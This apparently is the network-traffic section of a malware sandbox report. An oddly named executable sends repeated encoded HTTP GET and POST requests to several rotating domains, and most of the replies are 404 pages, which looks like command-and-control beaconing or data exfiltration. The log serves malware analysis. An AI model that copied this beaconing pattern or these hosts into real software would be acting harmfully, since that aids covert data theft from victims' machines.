Jul 1, 2024 16:16:16.870628119 CEST	355	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 01 Jul 2024 14:16:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49731	109.123.121.243	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:16:18.808053017 CEST	527	OUT	GET /hpa2/?4dV43tA=9ukV0lom1Pkt5UJj/K4lBand6ck4dRKkyq6RFoVD1IbXcSjkOX57QIVSlkgD3OdjwHZgiaAyrGOMfaVTdV8W+y7+gTzt+hDR2BCzfmmCLLxuXIcFaZwChPWJYJEFenE0lA==&3hkl=slNhbLXpBjO8vl HTTP/1.1 Host: www.rlplatro.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Jul 1, 2024 16:16:19.403414011 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 01 Jul 2024 14:16:19 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49733	47.242.109.15	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:16:24.966593027 CEST	776	OUT	POST /pyns/ HTTP/1.1 Host: www.xsemckm.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.xsemckm.sbs Cache-Control: no-cache Connection: close Content-Length: 208 Content-Type: application/x-www-form-urlencoded Referer: http://www.xsemckm.sbs/pyns/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 48 33 73 6d 48 57 47 39 77 6d 66 55 68 2b 44 6f 39 30 44 57 4c 37 79 6e 72 74 4a 50 37 35 74 4c 71 61 52 42 33 56 38 73 77 64 34 30 48 7a 56 74 56 6e 6b 73 62 62 6d 74 49 36 2b 35 55 69 68 53 6a 74 4b 49 56 31 63 72 57 56 61 68 30 4c 6a 75 32 41 4b 4b 41 56 79 6f 38 7a 6c 35 65 4a 75 75 70 4e 76 56 72 44 67 54 59 66 69 74 42 79 5a 69 50 4d 41 56 4a 78 32 47 54 59 50 4f 51 71 4d 47 76 2b 59 76 68 4a 52 4f 7a 57 67 6d 34 49 51 43 79 38 2b 39 6b 31 4a 78 39 47 65 4c 57 6b 61 51 77 68 6c 76 32 58 34 79 45 74 4e 6a 59 44 5a 4e 43 42 66 71 6b 70 56 4b 6d 69 6b 4a 31 7a 68 2f 73 33 37 54 42 45 6f 3d Data Ascii: 4dV43tA=H3smHWG9wmfUh+Do90DWL7ynrtJP75tLqaRB3V8swd40HzVtVnksbbmtI6+5UihSjtKIV1crWVah0Lju2AKKAVyo8zl5eJuupNvVrDgTYfitByZiPMAVJx2GTYPOQqMGv+YvhJROzWgm4IQCy8+9k1Jx9GeLWkaQwhlv2X4yEtNjYDZNCBfqkpVKmikJ1zh/s37TBEo=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49734	47.242.109.15	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:16:27.495388985 CEST	796	OUT	POST /pyns/ HTTP/1.1 Host: www.xsemckm.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.xsemckm.sbs Cache-Control: no-cache Connection: close Content-Length: 228 Content-Type: application/x-www-form-urlencoded Referer: http://www.xsemckm.sbs/pyns/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 48 33 73 6d 48 57 47 39 77 6d 66 55 67 64 72 6f 2f 58 37 57 61 4c 79 6b 33 39 4a 50 78 5a 74 50 71 61 64 42 33 52 45 61 77 4f 51 30 47 57 70 74 55 6a 49 73 59 62 6d 74 44 61 2b 34 4b 53 68 4a 6a 74 48 39 56 30 67 72 57 54 32 68 30 4f 48 75 32 78 4b 4e 50 6c 79 75 33 54 6c 2f 42 5a 75 75 70 4e 76 56 72 44 6b 35 59 66 4b 74 42 43 70 69 49 5a 30 57 53 52 32 48 53 59 50 4f 55 71 4d 43 76 2b 59 64 68 49 4d 62 7a 54 38 6d 34 4e 30 43 78 6f 71 36 39 46 4a 37 67 57 66 30 66 32 58 4c 30 43 56 32 72 57 78 4f 66 37 39 71 51 56 30 6e 59 6a 58 43 33 4a 35 79 32 78 73 2b 6b 44 41 57 32 55 72 6a 66 54 39 41 36 2b 49 6e 4a 2b 43 33 4f 73 32 61 39 68 49 50 35 32 47 48 Data Ascii: 4dV43tA=H3smHWG9wmfUgdro/X7WaLyk39JPxZtPqadB3REawOQ0GWptUjIsYbmtDa+4KShJjtH9V0grWT2h0OHu2xKNPlyu3Tl/BZuupNvVrDk5YfKtBCpiIZ0WSR2HSYPOUqMCv+YdhIMbzT8m4N0Cxoq69FJ7gWf0f2XL0CV2rWxOf79qQV0nYjXC3J5y2xs+kDAW2UrjfT9A6+InJ+C3Os2a9hIP52GH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49736	47.242.109.15	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:16:30.028462887 CEST	1813	OUT	POST /pyns/ HTTP/1.1 Host: www.xsemckm.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.xsemckm.sbs Cache-Control: no-cache Connection: close Content-Length: 1244 Content-Type: application/x-www-form-urlencoded Referer: http://www.xsemckm.sbs/pyns/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 48 33 73 6d 48 57 47 39 77 6d 66 55 67 64 72 6f 2f 58 37 57 61 4c 79 6b 33 39 4a 50 78 5a 74 50 71 61 64 42 33 52 45 61 77 49 49 30 47 67 64 74 55 43 49 73 58 37 6d 74 66 71 2b 39 4b 53 67 4a 6a 70 72 78 56 30 73 56 57 51 43 68 33 6f 4c 75 77 44 69 4e 59 31 79 75 34 7a 6c 2b 65 4a 76 71 70 4e 2f 52 72 44 30 35 59 66 4b 74 42 42 78 69 62 73 41 57 51 52 32 47 54 59 4f 42 51 71 4d 6d 76 2f 77 4e 68 49 34 4c 7a 6e 77 6d 34 74 45 43 2b 37 53 36 69 31 4a 31 7a 6d 66 73 66 32 62 75 30 43 4a 36 72 57 46 77 66 38 52 71 41 44 49 37 64 33 54 41 73 2f 78 55 31 32 6b 48 31 33 59 6c 35 69 57 52 54 77 4a 78 78 39 67 46 44 72 36 68 4d 38 50 4f 71 58 67 56 34 43 6a 54 4b 65 70 58 75 45 51 70 5a 7a 7a 6b 55 31 75 53 56 71 71 75 33 38 66 47 5a 75 66 6d 74 64 79 7a 35 57 4d 34 63 30 49 42 4b 75 32 43 79 33 33 77 73 42 33 57 76 4b 34 4b 7a 4a 59 65 7a 68 45 2f 63 47 32 4b 52 79 62 4f 34 63 6b 64 2b 2b 63 38 56 31 48 45 70 6b 39 45 6d 75 64 66 73 59 2f 6d 77 66 6a 72 49 73 4d 61 31 6d 43 45 75 47 [TRUNCATED] Data Ascii: 4dV43tA=H3smHWG9wmfUgdro/X7WaLyk39JPxZtPqadB3REawII0GgdtUCIsX7mtfq+9KSgJjprxV0sVWQCh3oLuwDiNY1yu4zl+eJvqpN/RrD05YfKtBBxibsAWQR2GTYOBQqMmv/wNhI4Lznwm4tEC+7S6i1J1zmfsf2bu0CJ6rWFwf8RqADI7d3TAs/xU12kH13Yl5iWRTwJxx9gFDr6hM8POqXgV4CjTKepXuEQpZzzkU1uSVqqu38fGZufmtdyz5WM4c0IBKu2Cy33wsB3WvK4KzJYezhE/cG2KRybO4ckd++c8V1HEpk9EmudfsY/mwfjrIsMa1mCEuGTfDkyNFRcInsp1SbmqWgl1ozn05o9DcRlnWJ1C71mw7SnnWTPi/cwfL5KiQ/RIr785dycPem38n396Q4Km/Fx+wq1NkEFwqGuQJMy2GrQe6a+jkqJ6/bbVCOYnwAJ6DyROD/kSiTbdZa1lb1tS0d0y+URCQBQHjxZ/6fvn/yWLE+8crVbFg2At4D/9N1688V6AbZxTv7uNe84e+UKZwX4eNf+UWLFTut6yvCmqI2/JJBVU0/85SRiizPEkcMyhPG39ZOnol1vnoYWMqzsULUbJf27XN3cmZCd9g0VbdTzk9pA5QTlyWLQWF78CgyeOvTfxMcJbWaWGUKSbPvNt5D2LFapES52sknkrd8Dt88frRybBwhPJjlMCP0DkyOHFE1J5VVUDDZbt71Un8lBWp45Eh+iri4yt1C77waCdxdhIrVzkgIQQvFUsUN8Ti+1GQEWXLcNAJuIjxtVS8bGinkvU6Pra5QEWnBiI0kfQw83xlmM24ogizCux0PEjpLpQbl/PdsHwO0t2hqylWnkUDidHesh0lg61zBo+HSfSCCMCAfE7F/tx+pt/7FH1fgx9qPMd1y895RcnKk19dMGR6Jlmb5e6S7mxpUj3X3MXejEhBbgJgcOHZv5TL32H8z69UNQDk7s261+b/Hcx4as3i7gVbtvQmYm27NK8 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49737	47.242.109.15	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:16:32.561088085 CEST	526	OUT	GET /pyns/?3hkl=slNhbLXpBjO8vl&4dV43tA=K1EGEj+kimjFg9LR9EnSE5iA5qZu36FTtfUVuSlzoP8oPxhtdzERerS5Mp6fVz5Cq8+DdWETSgOpnIOU0gSGOk+1pkQ/H5TXrv7e3gEZftLrUi5jR50/YQGYV+ODUfVL1g== HTTP/1.1 Host: www.xsemckm.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49739	121.254.178.238	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:16:59.555818081 CEST	782	OUT	POST /vjxp/ HTTP/1.1 Host: www.b6fbly7u.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.b6fbly7u.shop Cache-Control: no-cache Connection: close Content-Length: 208 Content-Type: application/x-www-form-urlencoded Referer: http://www.b6fbly7u.shop/vjxp/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 61 6d 59 6a 69 33 45 71 63 6c 51 51 68 2f 2b 76 63 36 70 4a 67 58 2b 77 45 65 59 38 5a 4b 32 73 52 76 69 6e 31 6c 61 30 6e 77 67 30 53 6e 64 73 59 61 73 65 47 6d 32 52 46 33 63 56 69 71 58 41 36 6f 39 50 32 6f 34 33 6b 37 65 50 50 59 63 4a 70 38 62 50 79 75 30 6b 54 78 76 62 79 32 68 54 63 47 43 63 4d 6b 68 38 37 35 6e 54 36 31 4b 69 31 37 6e 75 67 51 35 30 75 4c 32 6e 33 57 36 32 45 39 41 77 4e 57 75 46 4b 74 49 79 71 47 74 55 49 76 48 38 36 41 65 68 4a 77 4d 4d 2b 72 79 47 34 43 49 51 31 68 6f 74 41 49 43 73 44 6b 6b 49 45 39 6f 6c 6e 74 32 31 73 43 4e 6e 4a 41 53 56 46 54 36 41 6c 45 41 3d Data Ascii: 4dV43tA=amYji3EqclQQh/+vc6pJgX+wEeY8ZK2sRvin1la0nwg0SndsYaseGm2RF3cViqXA6o9P2o43k7ePPYcJp8bPyu0kTxvby2hTcGCcMkh875nT61Ki17nugQ50uL2n3W62E9AwNWuFKtIyqGtUIvH86AehJwMM+ryG4CIQ1hotAICsDkkIE9olnt21sCNnJASVFT6AlEA=
Jul 1, 2024 16:17:00.505011082 CEST	367	IN	HTTP/1.1 404 Not Found Date: Mon, 01 Jul 2024 14:17:00 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 76 6a 78 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /vjxp/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49740	121.254.178.238	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:17:02.095932007 CEST	802	OUT	POST /vjxp/ HTTP/1.1 Host: www.b6fbly7u.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.b6fbly7u.shop Cache-Control: no-cache Connection: close Content-Length: 228 Content-Type: application/x-www-form-urlencoded Referer: http://www.b6fbly7u.shop/vjxp/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 61 6d 59 6a 69 33 45 71 63 6c 51 51 67 66 4f 76 51 35 52 4a 6d 33 2b 33 64 75 59 38 57 71 32 6f 52 76 75 6e 31 6b 66 7a 67 47 51 30 63 6a 5a 73 5a 65 34 65 54 6d 32 52 4b 58 63 51 74 4b 58 31 36 6f 68 78 32 70 30 33 6b 34 69 50 50 61 45 4a 70 50 6a 4d 67 75 30 6d 56 78 76 56 32 32 68 54 63 47 43 63 4d 6b 31 47 37 34 50 54 36 46 36 69 31 66 7a 74 2b 67 35 31 74 4c 32 6e 67 47 36 79 45 39 41 57 4e 55 61 76 4b 76 77 79 71 48 64 55 50 38 66 2f 30 41 65 72 58 41 4e 51 75 2b 57 4d 78 44 55 75 30 44 52 34 54 2f 6e 58 50 79 4a 69 65 66 67 4e 30 4e 61 4e 38 52 46 51 59 77 7a 38 66 77 71 77 37 54 56 76 54 44 57 45 34 4b 43 54 65 50 37 59 53 2b 5a 57 6b 53 50 47 Data Ascii: 4dV43tA=amYji3EqclQQgfOvQ5RJm3+3duY8Wq2oRvun1kfzgGQ0cjZsZe4eTm2RKXcQtKX16ohx2p03k4iPPaEJpPjMgu0mVxvV22hTcGCcMk1G74PT6F6i1fzt+g51tL2ngG6yE9AWNUavKvwyqHdUP8f/0AerXANQu+WMxDUu0DR4T/nXPyJiefgN0NaN8RFQYwz8fwqw7TVvTDWE4KCTeP7YS+ZWkSPG
Jul 1, 2024 16:17:03.025872946 CEST	367	IN	HTTP/1.1 404 Not Found Date: Mon, 01 Jul 2024 14:17:03 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 76 6a 78 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /vjxp/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49741	121.254.178.238	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:17:04.641969919 CEST	1819	OUT	POST /vjxp/ HTTP/1.1 Host: www.b6fbly7u.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.b6fbly7u.shop Cache-Control: no-cache Connection: close Content-Length: 1244 Content-Type: application/x-www-form-urlencoded Referer: http://www.b6fbly7u.shop/vjxp/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 61 6d 59 6a 69 33 45 71 63 6c 51 51 67 66 4f 76 51 35 52 4a 6d 33 2b 33 64 75 59 38 57 71 32 6f 52 76 75 6e 31 6b 66 7a 67 46 77 30 63 51 42 73 59 35 45 65 42 57 32 52 48 33 63 52 74 4b 58 73 36 6f 35 39 32 70 6f 6e 6b 39 6d 50 65 50 59 4a 68 65 6a 4d 36 2b 30 6d 5a 52 76 59 79 32 68 43 63 47 53 59 4d 6b 6c 47 37 34 50 54 36 48 69 69 33 4c 6e 74 38 67 35 30 75 4c 32 52 33 57 36 61 45 39 6f 6f 4e 55 4f 56 4c 62 45 79 71 6e 4e 55 4a 50 37 2f 38 41 65 6c 57 41 4e 59 75 2b 54 57 78 44 4a 64 30 48 59 77 54 35 58 58 50 7a 68 38 43 66 30 4c 71 4d 61 4d 75 6d 39 53 43 6d 76 79 53 78 36 2f 7a 42 78 4a 54 54 53 75 34 65 75 63 55 65 4b 4b 46 61 6f 5a 70 43 6d 4b 4b 62 56 56 53 65 6e 77 35 78 36 74 30 35 6e 4f 66 38 69 4b 4c 64 2b 30 45 4a 45 46 38 64 33 37 66 42 78 35 44 58 41 36 53 76 37 4e 61 34 72 44 6a 42 64 37 51 64 5a 4b 53 37 37 35 53 55 46 77 77 55 47 46 74 6a 76 4a 66 33 47 39 47 4b 68 6e 69 7a 36 36 4e 73 64 4d 45 61 6f 48 39 6c 6d 51 68 77 50 55 45 58 76 71 59 2b 7a 37 54 45 [TRUNCATED] Data Ascii: 4dV43tA=amYji3EqclQQgfOvQ5RJm3+3duY8Wq2oRvun1kfzgFw0cQBsY5EeBW2RH3cRtKXs6o592ponk9mPePYJhejM6+0mZRvYy2hCcGSYMklG74PT6Hii3Lnt8g50uL2R3W6aE9ooNUOVLbEyqnNUJP7/8AelWANYu+TWxDJd0HYwT5XXPzh8Cf0LqMaMum9SCmvySx6/zBxJTTSu4eucUeKKFaoZpCmKKbVVSenw5x6t05nOf8iKLd+0EJEF8d37fBx5DXA6Sv7Na4rDjBd7QdZKS775SUFwwUGFtjvJf3G9GKhniz66NsdMEaoH9lmQhwPUEXvqY+z7TEVRPTS4MwyEE6EfeYO3KCWHfH/mjkIYN0rq3/IJXc4Si0Zqr6Be0pbS23ROJGAKLL7xmJllueQ31qCbIk9gpkZ1XK2kA3pJMxOPeMvxxEn6wofQ37FZLlX5SprMYAdlBtp3Qjg/+txb6FgfuiRs08xud+QdqM9yTar3/cvuB55Hx7IQbQ1yO6NRACDI/0RKPzK2n6KVWMHuMzFS6jW80Bg/9gcY5N1y1bJ+lIYPg/qrZP/ANO0gI3Kpw9HQ0+xwA1oHlViLYefppyB6/bPdMlaj5zgc5lN/bBIgNRXCkYR0fzqICGUPRy0Gt6fkmc+WA9pKhXagXGOM3Ij1PByTxAtOu19pxfmChji8EOWsFfrfNuavSGz0nCapVxxbOlh4HIZqlmjwrshxZoXUAQAS9pheoHmr1bEb2DEo98rrWiTJU+icRdX3COvMCpwEZacoykd7a5IhhVZky5p+zqpJzmzjwtm1tjxgedyyYw/eVEJq/lHYUdZieZTHm/bA6wbQk2GQX+fnASEII5GT58q5bDWkrveprSKUQYTL+OMj2QrD3xwCPyu1hzYEbbsDHgxXBR74hFns2X1xq2Z8OlKBUPLRfWDRCmHHNKP2xJW/gIN3FcdVcmklWooIai6rq3U3oA+qVmF3v+8TstRIXkB3luAyGVXPVmg5/g4p [TRUNCATED]
Jul 1, 2024 16:17:05.573576927 CEST	367	IN	HTTP/1.1 404 Not Found Date: Mon, 01 Jul 2024 14:17:05 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 76 6a 78 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /vjxp/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49742	121.254.178.238	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:17:07.337584972 CEST	528	OUT	GET /vjxp/?4dV43tA=XkwDhAosLmY8qOGkJKM7nBqGXPMJWqSVPKG+tEu7tnkRRA5qaKsxdm3QH0407PDb0a9c/bEAso+GP5FSns/F0pcfHDqX+WZ2QlqXVXtujZTwrVOl6ODb0zZvjrqBrFnJXw==&3hkl=slNhbLXpBjO8vl HTTP/1.1 Host: www.b6fbly7u.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
